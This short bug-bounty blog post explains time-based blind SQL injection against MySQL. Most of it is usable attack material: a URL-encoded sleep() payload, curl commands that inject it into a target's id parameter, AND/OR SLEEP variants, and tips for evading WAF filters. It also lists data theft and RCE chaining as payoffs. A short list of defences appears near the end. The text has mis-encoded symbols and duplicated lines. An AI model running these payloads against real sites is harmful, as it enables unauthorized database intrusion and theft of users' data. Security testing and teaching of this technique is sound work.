September 19, 2026
SQL Injection: Time-Based Blind Detection Payload
Time-based blind SQL injection is one of the most reliable techniques when no data is reflected in the response. Instead of seeing outputβ¦

By Cybersecplayground
1 min read
Time-based blind SQL injection is one of the most reliable techniques when no data is reflected in the response. Instead of seeing output, you measure how long the server takes to respond β if it sleeps, the injection worked.
π₯ The Payload
'%2b(select*from(select(sleep(5)))a)%2b''%2b(select*from(select(sleep(5)))a)%2b'URL Decoded:
'+(select*from(select(sleep(5)))a)+''+(select*from(select(sleep(5)))a)+'What It Does:
%2b= + (URL encoded)sleep(5)β Forces the database to pause for 5 seconds- If the response takes ~5 seconds β SQL injection confirmed
- If instant β Not vulnerable or filtered
π How It Works
Breaking It Down:
'+(select*from(select(sleep(5)))a)+''+(select*from(select(sleep(5)))a)+'- ' β Closes the original string in the query
-
- β String concatenation (MySQL)
(select*from(select(sleep(5)))a)β Subquery that executessleep(5)aβ Alias for the subquery result (required by MySQL)-
- β Concatenation back to the original query
Result: The database executes sleep(5) and the HTTP response is delayed by 5 seconds.
π‘ Why This Technique Matters
β«οΈ Blind Detection β Works even when no data is shown β«οΈ Reliable Signal β Time difference is clear and measurable β«οΈ Bypasses Filters β Less likely to trigger basic WAF rules than UNION-based payloads β«οΈ Works on MySQL/MariaDB β Common in PHP/WordPress targets
β‘οΈ Testing Methodology
Step 1: Baseline Response Time
curl -o /dev/null -s -w "%{time_total}\n" "https://target.com/product?id=1"curl -o /dev/null -s -w "%{time_total}\n" "https://target.com/product?id=1"Note the normal response time (e.g., 0.3s)
Step 2: Inject Time-Based Payload
curl -o /dev/null -s -w "%{time_total}\n" "https://target.com/product?id=1'%2b(select*from(select(sleep(5)))a)%2b'"curl -o /dev/null -s -w "%{time_total}\n" "https://target.com/product?id=1'%2b(select*from(select(sleep(5)))a)%2b'"Step 3: Compare Times
- Normal: ~0.3s
- Injected: ~5.3s β Vulnerable!
π― Variations for Different Databases
MySQL Alternative (Cleaner):
' AND SLEEP(5)-- -
' OR SLEEP(5)-- -' AND SLEEP(5)-- -
' OR SLEEP(5)-- -π‘ How to Defend Against This
- Parameterized Queries β Use prepared statements everywhere
- Input Validation β Reject unexpected characters like ', +, (
- WAF Rules β Block
sleep(,benchmark(,pg_sleeppatterns - Least Privilege β Database user should not have unnecessary permissions
- Rate Limiting β Limit repeated requests with suspicious payloads
π° Bug Bounty Impact
πΈ Critical Severity β Full database access possible πΈ Data Exfiltration β Dump credentials, PII, financial data πΈ Chain Potential β SQLi β File Read β RCE πΈ High Bounties β SQLi remains one of the most rewarded vulnerabilities
π Follow @cybersecplayground for more SQLi and web security techniques!
β Like & Share if you found SQLi with this payload! π
#SQLi #SQLInjection #BugBounty #WebSecurity #CyberSecurity #InfoSec #PenTesting #Hacking #TimeBasedBlind
β οΈ Pro Tip: Always test both SLEEP() and BENCHMARK()βsome WAFs block one but not the other. Also try different sleep durations (3s, 5s, 10s) to confirm the delay is intentional!